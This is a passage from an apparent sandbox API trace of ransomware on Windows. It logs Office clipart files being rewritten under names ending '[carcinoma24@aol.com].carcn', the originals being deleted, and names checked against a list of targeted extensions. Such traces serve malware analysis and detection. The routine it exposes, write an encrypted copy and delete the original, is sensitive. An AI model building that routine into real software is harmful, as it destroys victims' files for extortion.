lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x8379, lpOverlapped=0x0) returned 1 [0311.245] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x8380, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x8380, lpOverlapped=0x0) returned 1 [0311.249] ReadFile (in: hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0311.249] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0311.249] SetEndOfFile (hFile=0x37c) returned 1 [0311.249] CloseHandle (hObject=0x37c) returned 1 [0311.249] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.249] SetEndOfFile (hFile=0x324) returned 1 [0311.250] CloseHandle (hObject=0x324) returned 1 [0311.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145168.jpg")) returned 1 [0311.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0311.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0311.251] lstrlenW (lpString=".doc") returned 4 [0311.251] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0311.252] lstrlenW (lpString=".docx") returned 5 [0311.252] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0311.252] lstrlenW (lpString=".pdf") returned 4 [0311.252] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0311.252] lstrlenW (lpString=".xls") returned 4 [0311.252] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0311.252] lstrlenW (lpString=".xlsx") returned 5 [0311.252] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0311.252] lstrlenW (lpString=".ppt") returned 4 [0311.252] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0311.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0311.252] lstrlenW (lpString=".zip") returned 4 [0311.252] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0311.252] lstrlenW (lpString=".rar") returned 4 [0311.252] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0311.252] lstrlenW (lpString=".bz2") returned 4 [0311.252] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0311.252] lstrlenW (lpString=".7z") returned 3 [0311.252] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0311.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0311.252] lstrlenW (lpString=".dbf") returned 4 [0311.252] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0311.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0311.252] lstrlenW (lpString=".1cd") returned 4 [0311.252] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0311.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145168.JPG") returned 68 [0311.252] lstrlenW (lpString=".jpg") returned 4 [0311.252] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0311.253] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.253] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0311.254] GetLastError () returned 0x0 [0311.254] ReadFile (in: hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x5285, lpOverlapped=0x0) returned 1 [0311.675] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x5290, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x5290, lpOverlapped=0x0) returned 1 [0311.677] ReadFile (in: hFile=0x324, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0311.677] WriteFile (in: hFile=0x37c, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0311.677] SetEndOfFile (hFile=0x37c) returned 1 [0311.701] CloseHandle (hObject=0x37c) returned 1 [0311.701] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.702] SetEndOfFile (hFile=0x324) returned 1 [0311.703] CloseHandle (hObject=0x324) returned 1 [0311.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0311.703] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145361.jpg")) returned 1 [0311.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0311.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0311.772] lstrlenW (lpString=".doc") returned 4 [0311.772] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0311.772] lstrlenW (lpString=".docx") returned 5 [0311.773] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0311.773] lstrlenW (lpString=".pdf") returned 4 [0311.773] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0311.773] lstrlenW (lpString=".xls") returned 4 [0311.773] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0311.773] lstrlenW (lpString=".xlsx") returned 5 [0311.773] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0311.773] lstrlenW (lpString=".ppt") returned 4 [0311.773] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0311.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0311.773] lstrlenW (lpString=".zip") returned 4 [0311.773] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0311.773] lstrlenW (lpString=".rar") returned 4 [0311.773] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0311.773] lstrlenW (lpString=".bz2") returned 4 [0311.773] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0311.773] lstrlenW (lpString=".7z") returned 3 [0311.773] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0311.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0311.774] lstrlenW (lpString=".dbf") returned 4 [0311.774] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0311.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0311.774] lstrlenW (lpString=".1cd") returned 4 [0311.774] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0311.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145361.JPG") returned 68 [0311.774] lstrlenW (lpString=".jpg") returned 4 [0311.774] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0311.774] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.775] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0311.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0311.775] GetLastError () returned 0x0 [0311.776] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0xfd22, lpOverlapped=0x0) returned 1 [0311.900] WriteFile (in: hFile=0x380, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xfd30, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xfd30, lpOverlapped=0x0) returned 1 [0311.902] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0311.902] WriteFile (in: hFile=0x380, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0311.902] SetEndOfFile (hFile=0x380) returned 1 [0312.201] CloseHandle (hObject=0x380) returned 1 [0312.201] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.201] SetEndOfFile (hFile=0x318) returned 1 [0312.203] CloseHandle (hObject=0x318) returned 1 [0312.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 1 [0312.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0312.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0312.244] lstrlenW (lpString=".doc") returned 4 [0312.244] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0312.244] lstrlenW (lpString=".docx") returned 5 [0312.244] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0312.244] lstrlenW (lpString=".pdf") returned 4 [0312.244] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0312.244] lstrlenW (lpString=".xls") returned 4 [0312.245] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0312.245] lstrlenW (lpString=".xlsx") returned 5 [0312.245] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0312.245] lstrlenW (lpString=".ppt") returned 4 [0312.245] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0312.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0312.245] lstrlenW (lpString=".zip") returned 4 [0312.245] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0312.245] lstrlenW (lpString=".rar") returned 4 [0312.245] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0312.245] lstrlenW (lpString=".bz2") returned 4 [0312.245] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0312.245] lstrlenW (lpString=".7z") returned 3 [0312.245] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0312.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0312.245] lstrlenW (lpString=".dbf") returned 4 [0312.245] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0312.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0312.245] lstrlenW (lpString=".1cd") returned 4 [0312.245] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0312.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0312.245] lstrlenW (lpString=".jpg") returned 4 [0312.245] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0312.246] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.246] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0312.246] GetLastError () returned 0x0 [0312.246] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x3394, lpOverlapped=0x0) returned 1 [0312.264] WriteFile (in: hFile=0x380, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x33a0, lpOverlapped=0x0) returned 1 [0312.265] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.265] WriteFile (in: hFile=0x380, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0312.265] SetEndOfFile (hFile=0x380) returned 1 [0312.265] CloseHandle (hObject=0x380) returned 1 [0312.265] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.266] SetEndOfFile (hFile=0x318) returned 1 [0312.266] CloseHandle (hObject=0x318) returned 1 [0312.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf")) returned 1 [0312.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0312.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0312.267] lstrlenW (lpString=".doc") returned 4 [0312.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.267] lstrlenW (lpString=".docx") returned 5 [0312.267] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0312.267] lstrlenW (lpString=".pdf") returned 4 [0312.268] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.268] lstrlenW (lpString=".xls") returned 4 [0312.268] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.268] lstrlenW (lpString=".xlsx") returned 5 [0312.268] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0312.268] lstrlenW (lpString=".ppt") returned 4 [0312.268] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0312.268] lstrlenW (lpString=".zip") returned 4 [0312.268] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.268] lstrlenW (lpString=".rar") returned 4 [0312.268] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.268] lstrlenW (lpString=".bz2") returned 4 [0312.268] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.268] lstrlenW (lpString=".7z") returned 3 [0312.268] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0312.268] lstrlenW (lpString=".dbf") returned 4 [0312.268] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0312.268] lstrlenW (lpString=".1cd") returned 4 [0312.268] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0312.268] lstrlenW (lpString=".jpg") returned 4 [0312.268] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.268] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.268] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0312.269] GetLastError () returned 0x0 [0312.269] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x610c, lpOverlapped=0x0) returned 1 [0312.303] WriteFile (in: hFile=0x380, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x6110, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x6110, lpOverlapped=0x0) returned 1 [0312.304] ReadFile (in: hFile=0x318, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.304] WriteFile (in: hFile=0x380, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0312.305] SetEndOfFile (hFile=0x380) returned 1 [0312.317] CloseHandle (hObject=0x380) returned 1 [0312.320] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.320] SetEndOfFile (hFile=0x318) returned 1 [0312.321] CloseHandle (hObject=0x318) returned 1 [0312.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf")) returned 1 [0312.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0312.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0312.323] lstrlenW (lpString=".doc") returned 4 [0312.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.324] lstrlenW (lpString=".docx") returned 5 [0312.324] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0312.324] lstrlenW (lpString=".pdf") returned 4 [0312.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.324] lstrlenW (lpString=".xls") returned 4 [0312.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.324] lstrlenW (lpString=".xlsx") returned 5 [0312.324] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0312.324] lstrlenW (lpString=".ppt") returned 4 [0312.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0312.324] lstrlenW (lpString=".zip") returned 4 [0312.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.324] lstrlenW (lpString=".rar") returned 4 [0312.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.324] lstrlenW (lpString=".bz2") returned 4 [0312.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.324] lstrlenW (lpString=".7z") returned 3 [0312.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0312.324] lstrlenW (lpString=".dbf") returned 4 [0312.324] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0312.324] lstrlenW (lpString=".1cd") returned 4 [0312.324] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF") returned 68 [0312.324] lstrlenW (lpString=".jpg") returned 4 [0312.324] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.325] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.325] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0312.326] GetLastError () returned 0x0 [0312.326] ReadFile (in: hFile=0x38c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x2c4c, lpOverlapped=0x0) returned 1 [0312.327] WriteFile (in: hFile=0x374, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0x2c50, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0x2c50, lpOverlapped=0x0) returned 1 [0312.328] ReadFile (in: hFile=0x38c, lpBuffer=0x3b15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffecc, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesRead=0x2fffecc*=0x0, lpOverlapped=0x0) returned 1 [0312.328] WriteFile (in: hFile=0x374, lpBuffer=0x3b15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc94, lpOverlapped=0x0 | out: lpBuffer=0x3b15020*, lpNumberOfBytesWritten=0x2fffc94*=0xec, lpOverlapped=0x0) returned 1 [0312.328] SetEndOfFile (hFile=0x374) returned 1 [0312.329] CloseHandle (hObject=0x374) returned 1 [0312.329] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec0 | out: lpNewFilePointer=0x0) returned 1 [0312.329] SetEndOfFile (hFile=0x38c) returned 1 [0312.330] CloseHandle (hObject=0x38c) returned 1 [0312.330] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 1 [0312.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0312.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0312.331] lstrlenW (lpString=".doc") returned 4 [0312.331] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.331] lstrlenW (lpString=".docx") returned 5 [0312.331] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 